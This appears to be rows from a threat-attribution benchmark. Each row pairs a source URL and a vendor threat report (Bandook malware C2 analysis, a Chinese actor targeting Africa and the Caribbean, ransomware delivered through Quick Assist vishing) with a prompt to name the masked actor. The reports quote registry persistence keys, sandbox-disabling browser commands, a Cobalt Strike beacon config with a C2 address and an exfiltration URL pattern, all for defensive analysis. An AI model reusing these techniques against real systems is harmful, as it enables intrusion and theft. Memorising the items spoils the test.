Software\Microsoft\Windows\CurrentVersion\Run Key name: SMC Value: %APPDATA%\SMC\SMC.exe Software\Microsoft\Windows NT\CurrentVersion\Winlogon Key name: shell Value: explorer.exe, %APPDATA%\SMC\SMC.exe Software\Microsoft\Windows NT\CurrentVersion\Windows\ Key name: Load Value: short path of %APPDATA%\SMC\SMC.exe When the copy is SMC.cpl, the registry key and value are the following: Software\Microsoft\Windows\CurrentVersion\Run Key name: SMC Value: %windir%\System32\controll.exe %APPDATA%\SMC\SMC.cpl ACG Control Code When the control code is ACG, the payload can download files for other modules, including fcd.dll, pcd.dll, an executable file, and others. This is an optional function based on flags set when the payload initializes. The files can also be downloaded from the C2 server when necessary. If fcd.dll is downloaded, Bandook calls its functions and passes the key names of the registry key as arguments. Similarly, many registry keys store information used in other actions. An action may separated into several parts, and it’s necessary to piece all related commands and registry keys together. For example, C2 communication may use one command to write a registry key and a separate command to read it. C2 Communication First, Bandook sends victim information to its C2 server: Figure 4: Traffic capture and AES decrypted data of the victim information. Figure 4: Traffic capture and AES decrypted data of the victim information. If the C2 server is available, Bandook receives commands from the server, including *DJDSR^, @0001, @0002, and so on. While the string sequence in the newest variants reaches @0155, some are only used when sending a result to the server, and others only exist in other modules. As shown in Figure 5, the payload doesn’t use the command @0133, though it can be found in fcd.dll. Figure 5: @0133 can be found in fcd.dll. Figure 5: @0133 can be found in fcd.dll. Despite the numbering, the payload only supports 139 actions. In addition, some special commands are only sent to the server under specific conditions. Since most actions are the same as in previous variants, we will focus on communications between Bandook and the C2 server using the new commands added to the most recent variants. These actions can be roughly categorized as file manipulation, registry manipulation, download, information stealing, file execution, invocation of functions in dlls from the C2, controlling the victim’s computer, process killing, and uninstalling the malware. The data from the C2 server has the following format: {Command}~!{Arg2}~!{Arg3}~!{Arg4}~!{Arg5}~!{Arg6}~! The first argument is the command, which is necessary. Arg2 to Arg6 are optional. Below are four examples of actions that require multiple commands and actions that have complex mechanisms. This action is about file reading. If Arg3 is R, it keeps calling the Sleep function until the C2 server sends @0004 and its related arguments to Bandook. The @0004 command gives a value to determine from where to read the file or to just do nothing. Finally, Bandook sends the file specified by Arg2 to the C2 server. This action is about file writing. Similar to @0003, @0006 waits for @0007. @0007 determines how to write data from the C2 server to a local file. This action executes a Python file. The main command is @0128, which calls a ShellExecute function to run a Python file {Parent directory}\Lib\dpx.pyc with arguments Arg2~Arg6. The {Parent directory} is stored in the registry key pthma under HKCU\Software. @0126 checks pthma’s value and sends the result to the server. @0127 writes its Arg2 to pthma if fcd.dll is initialized in the victim’s computer. Additionally, some commands send special data to the server: This action monitors the victim’s screen and controls the computer. When Bandook receives this command, it overwrites the config file of Firefox pref.js with code hard-coded in the payload and disables protection mechanisms in Microsoft Edge: After this, Bandook creates a virtual desktop and assigns it to a newly created thread (Thread_Control) that establishes a new communication with the C2 server. It first sends the string AVE_MARIA, followed by another packet containing the number 1, to the server. Figure 8: The “AVE_MARIA” and number sent by Bandook. Figure 8: The “AVE_MARIA” and number sent by Bandook. If the server responds, Bandook creates another thread to keep sending screenshots to the server. This thread also sends two packets: the string AVE_MARIA and the number 0. In the meantime, Thread_Control receives coordinates and control codes from the server. These tasks include: Open the Run dialog Copy user data from Chrome to another folder and open another Chrome instance using a new directory and configurations. It uses the following command to help it run faster: cmd.exe /c start chrome.exe --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir={New folder} Copy user data to another folder and open another Firefox instance with the copied profile Execute Internet Explorer Terminate Microsoft Edge, enable its Compatibility Mode, and open another Edge instance with a new directory and configurations. It uses the following command to help it run faster: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir={New folder} Access specified windows In addition, there are three new commands compared to the 2021 variant: This writes encrypted backup URLs to the registry key kPYXM under HKCU\Software\AkZhAyV0\. When the current C2 server is unavailable, Bandook will decrypt it and try to access the URLs. The format of the decrypted data will look like this: {URL}|{URL}|{URL}| Bandook will extract URLs and try these sequentially if the previous URL is unavailable. This command asks Bandook to parse cookies from the browser specified by the C2, including Chrome, Edge, and Firefox, and save the result as Default.json in a .zip file. In the previous variant, @0140 is missing. This command asks Bandook to establish a persistence mechanism with sub_13160400, also called when the control code is GUM, as shown in Figure 9. Conclusion This article unveils new details about the C2 mechanism of this long-existing malware and the new features in its latest variant. A large number of commands for C2 communication can be found in this malware. However, the tasks performed by its payload are fewer than the number in the command. This is because multiple commands are used for a single action, some commands call functions in other modules, and some are only used to respond to the server. Though the entire system is not observed in this attack, FortiGuard will continue monitoring malware variants and provide appropriate protections. |
https://research.checkpoint.com/2024/sharp-dragon-expands-towards-africa-and-the-caribbean/ | Since 2021, Check Point Research has been closely monitoring the activities of [PLACEHOLDER], a Chinese threat actor. Historical activities mostly consist of highly-targeted phishing emails, previously leading to the deployment of VictoryDLL or Soul framework. While the final payloads [PLACEHOLDER] operators have deployed overtime changed, their modus operandi has been persistent, and more so, their targets, who have remained within the confines of South-East Asia in the years we were tracking them, up until recently. In recent months, we have observed a significant shift in [PLACEHOLDER]’s activities and lures, now targeting governmental organizations in Africa and the Caribbean. Those activities very much align with known [PLACEHOLDER] modus operandi, and were characterized by compromising a high-profile email account to spread a phishing word document that leverages a remote template weaponized using RoyalRoad. Unlike previous activities, those lures were used to deploy Cobalt Strike Beacon. * As part of an ongoing effort to avoid confusion with other vendors naming conventions, the name was changed. Inter-Government Relations as an Attack Vector Starting November 2023, we observed [PLACEHOLDER]’s increased interest in governmental entities in Africa and the Caribbean. This interest manifested by directly targeting government organizations within the two regions, by exploiting previously compromised entities in Southeast Asia. Utilizing highly-tailored lures that deal with relations between countries in South-East Asia and the two regions, [PLACEHOLDER] threat actors have established their first footholds in two new territories. Figure 1- [PLACEHOLDER]’s shift to target Africa and the Caribbean</p> <p><strong>[PLACEHOLDER]’s Cyber Activities in Africa</strong> Figure 1- [PLACEHOLDER]’s shift to target Africa and the Caribbean [PLACEHOLDER]’s Cyber Activities in Africa The first identified phishing attack targeting Africa was sent out from Country A (South-East Asia) to Country B (Africa) in November of 2023, using a lure about industrial relations between countries in South-East Asia and Africa. The document is very thorough, and its contents were likely taken from an authentic correspondence between the two countries. Figure 2 – Lure document targeting Country B in Africa Following those lures, we’ve also observed direct targeting within Africa in January of 2024, originating from Country B, originally targeted in November, likely indicating some of the phishing attacks were successful. [PLACEHOLDER]’s interest in Africa does not come in a vacuum, as we’ve observed a set of Chinese affiliated threat actors targeting the region lately. This is also correlated with observations made by other vendors, who observe sustained tasking toward targeting in the region. It appears that [PLACEHOLDER]’s activities are part of a larger effort carried out by Chinese threat actors. [PLACEHOLDER]’s Activity in the Caribbean In a similar manner to Africa, [PLACEHOLDER]’s operators have utilized their previous access to compromised governmental entities in South-East Asia Country A to target governmental organizations in Country C, which is in the Caribbean. The first set of identified malicious documents sent out from the compromised network was sent out in December of 2023 and used a Caribbean Commonwealth meeting lure, named “Caribbean Clerks Programme”. This lure was sent out to a Foreign Affairs ministry of Country C. Figure 3 – Caribbean-themed lure sent to a Southeast Asian government. Not long afterwards, in January of 2024, much like in Africa, Country C compromised governmental email infrastructure was used to send out a large-scale phishing campaign targeting a wide set of governments in the Caribbean, this time, using a lure of a legitimate – looking survey around the Opioid threat in the Eastern Caribbean. Figure 4 - One of the lures sent to governmental entities in the Caribbean region Figure 4 – One of the lures sent to governmental entities in the Caribbean region Technical Analysis Figure 5 – [PLACEHOLDER]’s Infection chain since May 2023 campaign In our ongoing efforts to track [PLACEHOLDER] activities, we’ve identified various minor changes in their Tactics, Techniques, and Procedures (TTPs), while the core functionality remains consistent. Those changes reflect a more careful target selection and operational security (OPSEC) awareness. Among those changes are: Wider Recon Collection The 5.t downloader now conducts more thorough reconnaissance on target systems, this includes examining process lists and enumerating folders, leading to a more discerning selection of potential victims. HTN:<hostname> OSN:<os name> OSV:<os version> URN:<username> ITF:NetworkCard:1 <Network card info> NetworkCard:2 <Network card info> ... ; PGF:[Program Files]-><list of subfolders>|[Program Files (x86)]-><list of subfolders> PSL:([System Process])<list of running processes> Cobalt Strike Payload Additionally, we observed a change in the delivered payload: if the machine is deemed attractive by the attackers, a payload is sent. When Check Point Research first exposed this operation in 2021, the payload was VictoryDll, a custom and unique malware enabling remote access and data collection from infected devices. Subsequently, as we continued tracking [PLACEHOLDER]’s operations, we observed the adoption of the SoulSearcher framework. Presently, we are witnessing the use of Cobalt Strike Beacon as the payload of the 5.t downloader. This choice provides backdoor functionalities, such as C2 communication and command execution, without the risk of exposing their custom tools. However, we assume that the Cobalt Strike beacon serves as their primary tool for assessing the attacked environment, while their custom tools come into play at a later stage, which we have yet to witness. This refined approach indicates a deeper understanding of their targets and a desire to minimize exposure, likely resulting from public disclosures of their activities. Cobalt Strike Configuration: { "config_type": "static", "spawnto_x64": "%windir%\\sysnative\\Locator.exe", "spawnto_x86": "%windir%\\syswow64\\Locator.exe", "uses_cookies": "True", "bstagecleanup": "True", "crypto_scheme": 0, "proxy_behavior": "Use IE settings", "server,get-uri": "103.146.78.152,/ajax/libs/json2/20160511/json_parse_state.js", "http_get_header": [ "Const_header Accept: application/*, image/*, text/html", "Const_header Accept-Language: es", "Const_header Accept-Encoding: compress, br", "Build Metadata", "XOR mask w/ random key", "Base64 URL-safe decode", "Prepend JV6_IB4QESMW4TOIQLJRX69Q7LPGNXW594C5=", "Build End", "Header Cookie" ] } EXE Loaders Another notable change is observed in the 5.t downloaders: some of the latest samples deviate from the usual DLL-based loaders, incorporating EXE-based 5.t loader samples. While not all the latest samples have shifted to DLLs, this change underscores the dynamic nature of their evolving strategies. Recently [PLACEHOLDER] has also introduced another executable, altering the initial phase of the infection chain. Instead of relying on a Word document utilizing remote template to download an RTF file weaponized with RoyalRoad, they started using executables disguised as documents. This new method closely resembles the previous infection chain, as the executable writes 5.t DLL loader and executes it, while also creating a scheduled task for persistence. Figure 6 – [PLACEHOLDER]’s new infection chain Compromised Infrastructure [PLACEHOLDER] not only utilized compromised government infrastructure to target other governments but also shifted from dedicated servers to using compromised servers as C&C servers. During a campaign conducted in May 2023, our team observed that certain servers used by [PLACEHOLDER] as C2 were likely legitimate servers that were compromised. Our suspicion is that [PLACEHOLDER] exploited the CVE-2023-0669 vulnerability, which is a flaw in the GoAnywhere platform allowing for pre-authentication command injection, this vulnerability was disclosed shortly before the incidents occurred. The data collected from the affected machine was subsequently sent to the following address: https://<C2_addres>:<port>/G0AnyWhere_up.jsp?Data=. This address masquerades as belonging to the GoAnywhere service, a file transfer software. Conclusion This research highlights [PLACEHOLDER]’s strategic shift towards Africa and the Caribbean, suggesting its part in a broader effort carried out by Chinese cyber actors to enhance their presence and influence in these two regions. This move comes after a considerable period of activity in South-East Asia, which was leveraged by [PLACEHOLDER] actors, to establish initial footholds in countries in Africa and the Caribbean. These changes in [PLACEHOLDER]’s tactics, showing more careful selection of targets and the use of publicy and readily available tools, is an indication of a refined approach by this threat actor to target high-profile organizations. These findings bring attention to the evolving nature of Chinese threat actors, especially towards regions that have been somewhat overlooked in global cybersecurity and by the threat intelligence community. | You are given a threat report that describes a cyber incident. Any direct mentions of the threat actor group, specific campaign names, or malware names responsible have been replaced with [PLACEHOLDER]. Your task is to analyze the report and attribute the incident to a known threat actor based on the techniques, tactics, procedures (TTPs), and any other relevant information described. Please provide the name of the threat actor you believe is responsible and briefly explain your reasoning. Threat Report: Since 2021, Check Point Research has been closely monitoring the activities of [PLACEHOLDER], a Chinese threat actor. Historical activities mostly consist of highly-targeted phishing emails, previously leading to the deployment of VictoryDLL or Soul framework. While the final payloads [PLACEHOLDER] operators have deployed overtime changed, their modus operandi has been persistent, and more so, their targets, who have remained within the confines of South-East Asia in the years we were tracking them, up until recently. In recent months, we have observed a significant shift in [PLACEHOLDER]’s activities and lures, now targeting governmental organizations in Africa and the Caribbean. Those activities very much align with known [PLACEHOLDER] modus operandi, and were characterized by compromising a high-profile email account to spread a phishing word document that leverages a remote template weaponized using RoyalRoad. Unlike previous activities, those lures were used to deploy Cobalt Strike Beacon. * As part of an ongoing effort to avoid confusion with other vendors naming conventions, the name was changed. Inter-Government Relations as an Attack Vector Starting November 2023, we observed [PLACEHOLDER]’s increased interest in governmental entities in Africa and the Caribbean. This interest manifested by directly targeting government organizations within the two regions, by exploiting previously compromised entities in Southeast Asia. Utilizing highly-tailored lures that deal with relations between countries in South-East Asia and the two regions, [PLACEHOLDER] threat actors have established their first footholds in two new territories. Figure 1- [PLACEHOLDER]’s shift to target Africa and the Caribbean</p> <p><strong>[PLACEHOLDER]’s Cyber Activities in Africa</strong> Figure 1- [PLACEHOLDER]’s shift to target Africa and the Caribbean [PLACEHOLDER]’s Cyber Activities in Africa The first identified phishing attack targeting Africa was sent out from Country A (South-East Asia) to Country B (Africa) in November of 2023, using a lure about industrial relations between countries in South-East Asia and Africa. The document is very thorough, and its contents were likely taken from an authentic correspondence between the two countries. Figure 2 – Lure document targeting Country B in Africa Following those lures, we’ve also observed direct targeting within Africa in January of 2024, originating from Country B, originally targeted in November, likely indicating some of the phishing attacks were successful. [PLACEHOLDER]’s interest in Africa does not come in a vacuum, as we’ve observed a set of Chinese affiliated threat actors targeting the region lately. This is also correlated with observations made by other vendors, who observe sustained tasking toward targeting in the region. It appears that [PLACEHOLDER]’s activities are part of a larger effort carried out by Chinese threat actors. [PLACEHOLDER]’s Activity in the Caribbean In a similar manner to Africa, [PLACEHOLDER]’s operators have utilized their previous access to compromised governmental entities in South-East Asia Country A to target governmental organizations in Country C, which is in the Caribbean. The first set of identified malicious documents sent out from the compromised network was sent out in December of 2023 and used a Caribbean Commonwealth meeting lure, named “Caribbean Clerks Programme”. This lure was sent out to a Foreign Affairs ministry of Country C. Figure 3 – Caribbean-themed lure sent to a Southeast Asian government. Not long afterwards, in January of 2024, much like in Africa, Country C compromised governmental email infrastructure was used to send out a large-scale phishing campaign targeting a wide set of governments in the Caribbean, this time, using a lure of a legitimate – looking survey around the Opioid threat in the Eastern Caribbean. Figure 4 - One of the lures sent to governmental entities in the Caribbean region Figure 4 – One of the lures sent to governmental entities in the Caribbean region Technical Analysis Figure 5 – [PLACEHOLDER]’s Infection chain since May 2023 campaign In our ongoing efforts to track [PLACEHOLDER] activities, we’ve identified various minor changes in their Tactics, Techniques, and Procedures (TTPs), while the core functionality remains consistent. Those changes reflect a more careful target selection and operational security (OPSEC) awareness. Among those changes are: Wider Recon Collection The 5.t downloader now conducts more thorough reconnaissance on target systems, this includes examining process lists and enumerating folders, leading to a more discerning selection of potential victims. HTN:<hostname> OSN:<os name> OSV:<os version> URN:<username> ITF:NetworkCard:1 <Network card info> NetworkCard:2 <Network card info> ... ; PGF:[Program Files]-><list of subfolders>|[Program Files (x86)]-><list of subfolders> PSL:([System Process])<list of running processes> Cobalt Strike Payload Additionally, we observed a change in the delivered payload: if the machine is deemed attractive by the attackers, a payload is sent. When Check Point Research first exposed this operation in 2021, the payload was VictoryDll, a custom and unique malware enabling remote access and data collection from infected devices. Subsequently, as we continued tracking [PLACEHOLDER]’s operations, we observed the adoption of the SoulSearcher framework. Presently, we are witnessing the use of Cobalt Strike Beacon as the payload of the 5.t downloader. This choice provides backdoor functionalities, such as C2 communication and command execution, without the risk of exposing their custom tools. However, we assume that the Cobalt Strike beacon serves as their primary tool for assessing the attacked environment, while their custom tools come into play at a later stage, which we have yet to witness. This refined approach indicates a deeper understanding of their targets and a desire to minimize exposure, likely resulting from public disclosures of their activities. Cobalt Strike Configuration: { "config_type": "static", "spawnto_x64": "%windir%\\sysnative\\Locator.exe", "spawnto_x86": "%windir%\\syswow64\\Locator.exe", "uses_cookies": "True", "bstagecleanup": "True", "crypto_scheme": 0, "proxy_behavior": "Use IE settings", "server,get-uri": "103.146.78.152,/ajax/libs/json2/20160511/json_parse_state.js", "http_get_header": [ "Const_header Accept: application/*, image/*, text/html", "Const_header Accept-Language: es", "Const_header Accept-Encoding: compress, br", "Build Metadata", "XOR mask w/ random key", "Base64 URL-safe decode", "Prepend JV6_IB4QESMW4TOIQLJRX69Q7LPGNXW594C5=", "Build End", "Header Cookie" ] } EXE Loaders Another notable change is observed in the 5.t downloaders: some of the latest samples deviate from the usual DLL-based loaders, incorporating EXE-based 5.t loader samples. While not all the latest samples have shifted to DLLs, this change underscores the dynamic nature of their evolving strategies. Recently [PLACEHOLDER] has also introduced another executable, altering the initial phase of the infection chain. Instead of relying on a Word document utilizing remote template to download an RTF file weaponized with RoyalRoad, they started using executables disguised as documents. This new method closely resembles the previous infection chain, as the executable writes 5.t DLL loader and executes it, while also creating a scheduled task for persistence. Figure 6 – [PLACEHOLDER]’s new infection chain Compromised Infrastructure [PLACEHOLDER] not only utilized compromised government infrastructure to target other governments but also shifted from dedicated servers to using compromised servers as C&C servers. During a campaign conducted in May 2023, our team observed that certain servers used by [PLACEHOLDER] as C2 were likely legitimate servers that were compromised. Our suspicion is that [PLACEHOLDER] exploited the CVE-2023-0669 vulnerability, which is a flaw in the GoAnywhere platform allowing for pre-authentication command injection, this vulnerability was disclosed shortly before the incidents occurred. The data collected from the affected machine was subsequently sent to the following address: https://<C2_addres>:<port>/G0AnyWhere_up.jsp?Data=. This address masquerades as belonging to the GoAnywhere service, a file transfer software. Conclusion This research highlights [PLACEHOLDER]’s strategic shift towards Africa and the Caribbean, suggesting its part in a broader effort carried out by Chinese cyber actors to enhance their presence and influence in these two regions. This move comes after a considerable period of activity in South-East Asia, which was leveraged by [PLACEHOLDER] actors, to establish initial footholds in countries in Africa and the Caribbean. These changes in [PLACEHOLDER]’s tactics, showing more careful selection of targets and the use of publicy and readily available tools, is an indication of a refined approach by this threat actor to target high-profile organizations. These findings bring attention to the evolving nature of Chinese threat actors, especially towards regions that have been somewhat overlooked in global cybersecurity and by the threat intelligence community. |
https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/ | Since mid-April 2024, Microsoft Threat Intelligence has observed the threat actor [PLACEHOLDER] misusing the client management tool Quick Assist to target users in social engineering attacks. [PLACEHOLDER] is a financially motivated cybercriminal group known to deploy [PLACEHOLDER] ransomware. The observed activity begins with impersonation through voice phishing (vishing), followed by delivery of malicious tools, including remote monitoring and management (RMM) tools like ScreenConnect and NetSupport Manager, malware like Qakbot, Cobalt Strike, and ultimately [PLACEHOLDER] ransomware. MITIGATE THIS THREAT Get recommendations Quick Assist is an application that enables a user to share their Windows or macOS device with another person over a remote connection. This enables the connecting user to remotely connect to the receiving user’s device and view its display, make annotations, or take full control, typically for troubleshooting. Threat actors misuse Quick Assist features to perform social engineering attacks by pretending, for example, to be a trusted contact like Microsoft technical support or an IT professional from the target user’s company to gain initial access to a target device. RANSOMWARE AS A SERVICE Protect users and orgs In addition to protecting customers from observed malicious activity, Microsoft is investigating the use of Quick Assist in these attacks and is working on improving the transparency and trust between helpers and sharers, and incorporating warning messages in Quick Assist to alert users about possible tech support scams. Microsoft Defender for Endpoint detects components of activity originating from Quick Assist sessions as well as follow-on activity, and Microsoft Defender Antivirus detects the malware components associated with this activity. TECH SUPPORT SCAMS Report scam Organizations can also reduce the risk of attacks by blocking or uninstalling Quick Assist and other remote management tools if the tools are not in use in their environment. Quick Assist is installed by default on devices running Windows 11. Additionally, tech support scams are an industry-wide issue where scammers use scare tactics to trick users into unnecessary technical support services. Educating users on how to recognize such scams can significantly reduce the impact of social engineering attacks. Social engineering One of the social engineering techniques used by threat actors to obtain initial access to target devices using Quick Assist is through vishing attacks. Vishing attacks are a form of social engineering that involves callers luring targets into revealing sensitive information under false pretenses or tricking targets into carrying out actions on behalf of the caller. For example, threat actors might attempt to impersonate IT or help desk personnel, pretending to conduct generic fixes on a device. In other cases, threat actors initiate link listing attacks – a type of email bombing attack, where threat actors sign up targeted emails to multiple email subscription services to flood email addresses indirectly with subscribed content. Following the email flood, the threat actor impersonates IT support through phone calls to the target user, claiming to offer assistance in remediating the spam issue. At the end of May 2024, Microsoft observed [PLACEHOLDER] using Microsoft Teams to send messages to target users in addition to phone calls. Tenants created by the threat actor are used to impersonate help desk personnel with names displayed as “Help Desk”, “Help Desk IT”, “Help Desk Support”, and “IT Support”. Microsoft has taken action to mitigate this by suspending identified accounts and tenants associated with inauthentic behavior. Apply security best practices for Microsoft Teams to safeguard Teams users. During the call, the threat actor persuades the user to grant them access to their device through Quick Assist. The target user only needs to press CTRL + Windows + Q and enter the security code provided by the threat actor, as shown in the figure below. Screenshot of Quick Assist prompt to enter security code Figure 1. Quick Assist prompt to enter security code After the target enters the security code, they receive a dialog box asking for permission to allow screen sharing. Selecting Allow shares the user’s screen with the actor. Screenshot of Quick Assist dialog box asking permission to allow screen sharing Figure 2. Quick Assist dialog box asking permission to allow screen sharing Once in the session, the threat actor can select Request Control, which if approved by the target, grants the actor full control of the target’s device. Screenshot of Quick Assist dialog box asking permission to allow control Figure 3. Quick Assist dialog box asking permission to allow control Follow-on activity leading to [PLACEHOLDER] ransomware Once the user allows access and control, the threat actor runs a scripted cURL command to download a series of batch files or ZIP files used to deliver malicious payloads. Some of the batch scripts observed reference installing fake spam filter updates requiring the targets to provide sign-in credentials. In several cases, Microsoft Threat Intelligence identified such activity leading to the download of Qakbot, RMM tools like ScreenConnect and NetSupport Manager, and Cobalt Strike. Screenshot of two lines of cURL commands Figure 4. Examples of cURL commands to download batch files and ZIP files Qakbot has been used over the years as a remote access vector to deliver additional malicious payloads that led to ransomware deployment. In this recent activity, Qakbot was used to deliver a Cobalt Strike Beacon attributed to [PLACEHOLDER]. ScreenConnect was used to establish persistence and conduct lateral movement within the compromised environment. NetSupport Manager is a remote access tool used by multiple threat actors to maintain control over compromised devices. An attacker might use this tool to remotely access the device, download and install additional malware, and launch arbitrary commands. The mentioned RMM tools are commonly used by threat actors because of their extensive capabilities and ability to blend in with the environment. In some cases, the actors leveraged the OpenSSH tunneling tool to establish a secure shell (SSH) tunnel for persistence. After the threat actor installs the initial tooling and the phone call is concluded, [PLACEHOLDER] leverages their access and performs further hands-on-keyboard activities such as domain enumeration and lateral movement. In cases where [PLACEHOLDER] relies on Teams messages followed by phone calls and remote access through Quick Assist, the threat actor uses BITSAdmin to download batch files and ZIP files from a malicious site, for example antispam3[.]com. [PLACEHOLDER] also provides the target user with malicious links that redirect the user to an EvilProxy phishing site to input credentials. EvilProxy is an adversary-in-the-middle (AiTM) phishing kit used to capture passwords, hijack a user’s sign-in session, and skip the authentication process. [PLACEHOLDER] was also observed deploying SystemBC, a post-compromise commodity remote access trojan (RAT) and proxy tool typically used to establish command-and-control communication, establish persistence in a compromised environment, and deploy follow-on malware, notably ransomware. In several cases, [PLACEHOLDER] uses PsExec to deploy [PLACEHOLDER] ransomware throughout the network. [PLACEHOLDER] is a closed ransomware offering (exclusive and not openly marketed like ransomware as a service) distributed by a small number of threat actors who typically rely on other threat actors for initial access, malicious infrastructure, and malware development. Since [PLACEHOLDER] first appeared in April 2022, [PLACEHOLDER] attackers have deployed the ransomware after receiving access from Qakbot and other malware distributors, highlighting the need for organizations to focus on attack stages prior to ransomware deployment to reduce the threat. In the next sections, we share recommendations for improving defenses against this threat, including best practices when using Quick Assist and mitigations for reducing the impact of [PLACEHOLDER] and other ransomware. Recommendations Microsoft recommends the following best practices to protect users and organizations from attacks and threat actors that misuse Quick Assist: Consider blocking or uninstalling Quick Assist and other remote monitoring and management tools if these tools are not in use in your environment. If your organization utilizes another remote support tool such as Remote Help, block or remove Quick Assist as a best practice. Remote Help is part of the Microsoft Intune Suite and provides authentication and security controls for helpdesk connections. Educate users about protecting themselves from tech support scams. Tech support scams are an industry-wide issue where scammers use scary tactics to trick users into unnecessary technical support services. Only allow a helper to connect to your device using Quick Assist if you initiated the interaction by contacting Microsoft Support or your IT support staff directly. Don’t provide access to anyone claiming to have an urgent need to access your device. If you suspect that the person connecting to your device is conducting malicious activity, disconnect from the session immediately and report to your local authorities and/or any relevant IT members within your organization. Users who have been affected by a tech support scam can also use the Microsoft technical support scam form to report it. Microsoft recommends the following mitigations to reduce the impact of this threat: Educate users about protecting personal and business information in social media, filtering unsolicited communication, identifying lure links in phishing emails, and reporting reconnaissance attempts and other suspicious activity. Educate users about preventing malware infections, such as ignoring or deleting unsolicited and unexpected emails or attachments sent through instant messaging applications or social networks as well as suspicious phone calls. Invest in advanced anti-phishing solutions that monitor incoming emails and visited websites. Microsoft Defender for Office 365 brings together incident and alert management across email, devices, and identities, centralizing investigations for email-based threats. Educate Microsoft Teams users to verify ‘External’ tagging on communication attempts from external entities, be cautious about what they share, and never share their account information or authorize sign-in requests over chat. Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps. Apply Microsoft’s security best practices for Microsoft Teams to safeguard Teams users. Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet. Turn on tamper protection features to prevent attackers from stopping security services. Enable investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume. Refer to Microsoft’s human-operated ransomware overview for general hardening recommendations against ransomware attacks. Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent common attack techniques: Block executable files from running unless they meet a prevalence, age, or trusted list criterion Block execution of potentially obfuscated scripts Block process creations originating from PSExec and WMI commands Use advanced protection against ransomware Detection details Microsoft Defender Antivirus Microsoft Defender Antivirus detects Qakbot downloaders, implants, and behavior as the following malware: TrojanDownloader:O97M/Qakbot Trojan:Win32/QBot Trojan:Win32/Qakbot TrojanSpy:Win32/Qakbot Behavior:Win32/Qakbot [PLACEHOLDER] threat components are detected as the following: Behavior:Win32/Basta Ransom:Win32/Basta Trojan:Win32/Basta Microsoft Defender Antivirus detects Beacon running on a victim process as the following: Behavior:Win32/CobaltStrike Backdoor:Win64/CobaltStrike HackTool:Win64/CobaltStrike Additional Cobalt Strike components are detected as the following: TrojanDropper:PowerShell/Cobacis Trojan:Win64/TurtleLoader.CS Exploit:Win32/ShellCode.BN SystemBC components are detected as: Behavior:Win32/SystemBC Trojan: Win32/SystemBC Microsoft Defender for Endpoint Alerts with the following title in the security center can indicate threat activity on your network: Suspicious activity using Quick Assist The following alerts might also indicate activity related to this threat. Note, however, that these alerts can also be triggered by unrelated threat activity. Suspicious curl behavior Suspicious bitsadmin activity Suspicious file creation by BITSAdmin tool A file or network connection related to a ransomware-linked emerging threat activity group detected —This alert captures [PLACEHOLDER] activity Ransomware-linked emerging threat activity group Storm-0303 detected — This alert captures some Qakbot distributor activity Possible Qakbot activity Possible NetSupport Manager activity Possibly malicious use of proxy or tunneling tool Suspicious usage of remote management software Ongoing hands-on-keyboard attacker activity detected (Cobalt Strike) Human-operated attack using Cobalt Strike Human-operated attack implant tool detected Ransomware behavior detected in the file system | You are given a threat report that describes a cyber incident. Any direct mentions of the threat actor group, specific campaign names, or malware names responsible have been replaced with [PLACEHOLDER]. Your task is to analyze the report and attribute the incident to a known threat actor based on the techniques, tactics, procedures (TTPs), and any other relevant information described. Please provide the name of the threat actor you believe is responsible and briefly explain your reasoning. Threat Report: Since mid-April 2024, Microsoft Threat Intelligence has observed the threat actor [PLACEHOLDER] misusing the client management tool Quick Assist to target users in social engineering attacks. [PLACEHOLDER] is a financially motivated cybercriminal group known to deploy [PLACEHOLDER] ransomware. The observed activity begins with impersonation through voice phishing (vishing), followed by delivery of malicious tools, including remote monitoring and management (RMM) tools like ScreenConnect and NetSupport Manager, malware like Qakbot, Cobalt Strike, and ultimately [PLACEHOLDER] ransomware. MITIGATE THIS THREAT Get recommendations Quick Assist is an application that enables a user to share their Windows or macOS device with another person over a remote connection. This enables the connecting user to remotely connect to the receiving user’s device and view its display, make annotations, or take full control, typically for troubleshooting. Threat actors misuse Quick Assist features to perform social engineering attacks by pretending, for example, to be a trusted contact like Microsoft technical support or an IT professional from the target user’s company to gain initial access to a target device. RANSOMWARE AS A SERVICE Protect users and orgs In addition to protecting customers from observed malicious activity, Microsoft is investigating the use of Quick Assist in these attacks and is working on improving the transparency and trust between helpers and sharers, and incorporating warning messages in Quick Assist to alert users about possible tech support scams. Microsoft Defender for Endpoint detects components of activity originating from Quick Assist sessions as well as follow-on activity, and Microsoft Defender Antivirus detects the malware components associated with this activity. TECH SUPPORT SCAMS Report scam Organizations can also reduce the risk of attacks by blocking or uninstalling Quick Assist and other remote management tools if the tools are not in use in their environment. Quick Assist is installed by default on devices running Windows 11. Additionally, tech support scams are an industry-wide issue where scammers use scare tactics to trick users into unnecessary technical support services. Educating users on how to recognize such scams can significantly reduce the impact of social engineering attacks. Social engineering One of the social engineering techniques used by threat actors to obtain initial access to target devices using Quick Assist is through vishing attacks. Vishing attacks are a form of social engineering that involves callers luring targets into revealing sensitive information under false pretenses or tricking targets into carrying out actions on behalf of the caller. For example, threat actors might attempt to impersonate IT or help desk personnel, pretending to conduct generic fixes on a device. In other cases, threat actors initiate link listing attacks – a type of email bombing attack, where threat actors sign up targeted emails to multiple email subscription services to flood email addresses indirectly with subscribed content. Following the email flood, the threat actor impersonates IT support through phone calls to the target user, claiming to offer assistance in remediating the spam issue. At the end of May 2024, Microsoft observed [PLACEHOLDER] using Microsoft Teams to send messages to target users in addition to phone calls. Tenants created by the threat actor are used to impersonate help desk personnel with names displayed as “Help Desk”, “Help Desk IT”, “Help Desk Support”, and “IT Support”. Microsoft has taken action to mitigate this by suspending identified accounts and tenants associated with inauthentic behavior. Apply security best practices for Microsoft Teams to safeguard Teams users. During the call, the threat actor persuades the user to grant them access to their device through Quick Assist. The target user only needs to press CTRL + Windows + Q and enter the security code provided by the threat actor, as shown in the figure below. Screenshot 